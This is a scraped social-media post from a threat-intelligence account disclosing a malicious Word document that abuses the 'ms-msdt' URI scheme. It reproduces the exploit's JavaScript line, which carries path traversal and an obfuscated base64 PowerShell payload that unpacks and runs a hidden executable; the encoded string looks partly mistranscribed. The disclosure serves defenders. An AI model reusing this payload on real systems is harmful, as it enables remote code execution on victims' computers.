

Settings

Post

nao_sec

@nao_sec

Interesting maldoc was submitted from Belarus. It uses Word's external link to load the HTML and then uses the "ms-msdt" scheme to execute PowerShell code.

virustotal.com/gui/file/4a240...

window.location.href = "ms-msdt:/id PCWDiagnostic /skip force /param \ IT_RebrowseForFile=cal?c IT_LaunchMethod=ContextMenu IT_SelectProgram=NotListed IT_BrowseForFile=h\$(Invoke-Expression(\$(Invoke-Expression('[System.Text.Encoding]'+[char]58+[char]58+'UTF8.GetString([System.Convert]'+[char]58+[char]58+'FromBase64String('+[char]34+' JGntZCA9ICJjOlx3aW5kb3dzXHN5c3RlbTMyXGntZC5leGUiO1N0YXJ0LVByb2Nlc3MgJGntZCAtd2luZG93c3R5bGUgaG1kZGVuIC1Bcmd1bWVudExpc3QgIi9jIHRhc2traWxsIC9mIC9pbSBtc2R0LmV4ZSI7U3RhcnQtUHJvY2VzcyAkY21kIC13aW5kb3dzdHlsZSBoawRkZW4gLUFYZ3VtZW50TG1zdCAiL2MgY2QgQzpcdXNlcnNccHVibG1jXCYmZm9yIC9yICV0ZW1wJSA1aSBpb1AoMDUtMjAyMi0wNDM4LnJhcikgZG8gY29weSA1aS AxLnJhciAveSYmZmluZHN0ciBUVk5EUmdBQUFBIDEucmFyPjEudCYmY2VydhV0aWwgLWRlY29kZSAxLnQgM S5jICYmZXhwYW5kIDEuYyAtRjoqIC4mJnJnYi5leGUiOw== '+'[char]34+'))'))))i/../../../../../../../../Windows/System32/mpsigstub.exe IT_AutoTroubleshoot=ts_AUTO\"";

4:38 PM · May 27, 2022

634 Reposts

88 Quotes

1,674 Likes

258 Bookmarks

258

New to X?

Sign up now to get your own personalized timeline!

Sign up with Google

Sign up with Apple

Create account

By signing up, you agree to the [Terms of Service](#) and [Privacy Policy](#), including [Cookie Use](#).

Something went wrong. Try reloading.

Retry

Terms of Service

Privacy Policy

Cookie Policy

Accessibility

Ads info

More ...

© 2024 X Corp.

Don't miss what's happening

People on X are the first to know.

Log in

Sign up

Welcome to x.com!

We are letting you know that we are changing our URL, but your privacy and data protection settings remain the same.

For more details, see our Privacy Policy: <https://x.com/en/privacy>.

Did someone say ... cookies?

X and its partners use cookies to provide you with a better, safer and faster service and to support our business. Some cookies are necessary to use our services, improve our services, and make sure they work properly. [Show more about your choices.](#)

Accept all cookies

Refuse non-essential cookies

Page 1 of 1